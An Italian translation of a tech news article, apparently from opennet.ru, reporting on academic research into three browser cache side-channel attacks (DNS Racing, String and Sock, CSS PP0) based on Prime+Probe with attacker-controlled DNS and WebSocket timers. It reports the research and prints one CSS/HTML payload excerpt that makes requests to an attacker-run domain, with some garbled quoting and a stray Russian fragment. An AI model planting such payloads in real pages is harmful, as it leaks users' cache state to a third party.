Un gruppo di ricercatori provenienti da diverse università americane, israeliane e australiane ha sviluppato tre attacchi funzionanti nei browser web per estrarre informazioni sul contenuto della cache del processore. Un metodo funziona in browser senza JavaScript, mentre gli altri due aggirano i metodi di protezione esistenti contro attacchi tramite canali laterali, inclusi quelli utilizzati in Tor browser e DeterFox. Il codice per dimostrare gli attacchi, insieme ai componenti server necessari, è stato pubblicato su GitHub.
Per analizzare il contenuto della cache, in tutti gli attacchi viene utilizzato il metodo Prime+Probe, che prevede il riempimento della cache con un insieme di valori di riferimento e la determinazione delle modifiche mediante la misurazione dei tempi di accesso a essi durante il riempimento successivo. Per aggirare i meccanismi di protezione presenti nei browser, che ostacolano la misurazione accurata del tempo, in due varianti si attua una richiesta a un server DNS o WebSocket controllato dall'attaccante, sul quale viene registrato il tempo di ricezione delle richieste. In una variante, il tempo di risposta DNS fisso viene utilizzato come riferimento temporale.
Le misurazioni effettuate con l'ausilio di server DNS o WebSocket esterni, grazie all'applicazione di un sistema di classificazione basato su machine learning, si sono rivelate sufficienti per prevedere i valori con un'accuratezza fino al 98% nello scenario più ottimale (in media 80-90%). I metodi di attacco sono stati testati su diverse piattaforme hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) e hanno dimostrato di essere universali.

Nella prima variante dell'attacco "DNS Racing" viene utilizzata l'implementazione classica del metodo Prime+Probe, che sfrutta array JavaScript. Le differenze consistono nell'utilizzo di un timer esterno basato su DNS e di un gestore onerror, che scatta quando si tenta di caricare un'immagine da un dominio inesistente. Il timer esterno consente di realizzare l'attacco Prime+Probe in browser che limitano o disabilitano completamente l'accesso ai timer JavaScript.
Per un server DNS situato nella stessa rete Ethernet, la precisione del timer è valutata attorno ai 2 ms, il che è sufficiente per condurre attacchi tramite canali esterni (per confronto, la precisione del timer JavaScript predefinito nel Tor Browser è ridotta a 100 ms). Per l'attacco, non è necessario alcun controllo sul server DNS, poiché il tempo di esecuzione dell'operazione è impostato in modo tale che il tempo di risposta dal DNS serva come indicatore di una conclusione anticipata della verifica (a seconda che il gestore onerror sia scattato prima o dopo, si fa una deduzione sulla velocità di esecuzione dell'operazione di verifica con la cache).
Il secondo metodo di attacco "String and Sock" è mirato a eludere i metodi di protezione che limitano l'uso a basso livello degli array in JavaScript. Invece degli array, in "String and Sock" vengono utilizzate operazioni su stringhe di dimensioni molto grandi, la cui dimensione è scelta in modo tale da coprire l'intera cache LLC (Last level cache). Successivamente, attraverso la funzione indexOf(), si cerca una piccola sottostringa all'interno della stringa, che inizialmente è assente dalla stringa originale, ovvero l'operazione di ricerca richiede di esaminare l'intera stringa. Poiché la dimensione della stringa corrisponde a quella della cache LLC, la scansione consente di effettuare l'operazione di verifica della cache senza manipolare gli array. Per misurare i ritardi, invece del DNS, viene utilizzato un server WebSocket controllato dall'attaccante: all'inizio e alla fine dell'operazione di ricerca nella stringa vengono inviati richieste, sulla base delle quali si server calcola il ritardo utilizzato per analizzare il contenuto della cache.
La terza variante dell'attacco "CSS PP0" è realizzata attraverso HTML e CSS e può funzionare in browser con JavaScript disattivato. Il metodo ricorda "String and Sock", ma non è legato a JavaScript. Durante l'attacco si forma un insieme di selettori CSS che eseguono la ricerca tramite una maschera. La grande stringa originale che riempie la cache è definita creando un tag div con un nome di classe molto lungo. All'interno viene posizionato un insieme di altri div con i propri identificatori. Per ciascuno di questi div annidati viene definito uno stile con un selettore che esegue la ricerca di una sottostringa. Durante il rendering della pagina, il browser cerca di elaborare inizialmente i div interni, il che porta all'esecuzione dell'operazione di ricerca nella grande stringa. La ricerca viene effettuata su una maschera notoriamente assente e porta a un'iterazione dell'intera stringa, dopo di che scatta la condizione "not" e viene tentato il caricamento di un'immagine di sfondo che fa riferimento a valori casuali. domini: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
I sottodomini sono gestiti dal server DNS dell'attaccante, il quale può misurare i ritardi nella ricezione delle richieste. Per tutte le richieste, il server DNS restituisce NXDOMAIN e tiene un registro del tempo esatto delle richieste. Di conseguenza, durante l'elaborazione dell'insieme di div, al server DNS dell'attaccante arriva una serie di richieste, i cui ritardi correlano con il risultato della verifica del contenuto della cache.

Fonte: opennet.ru
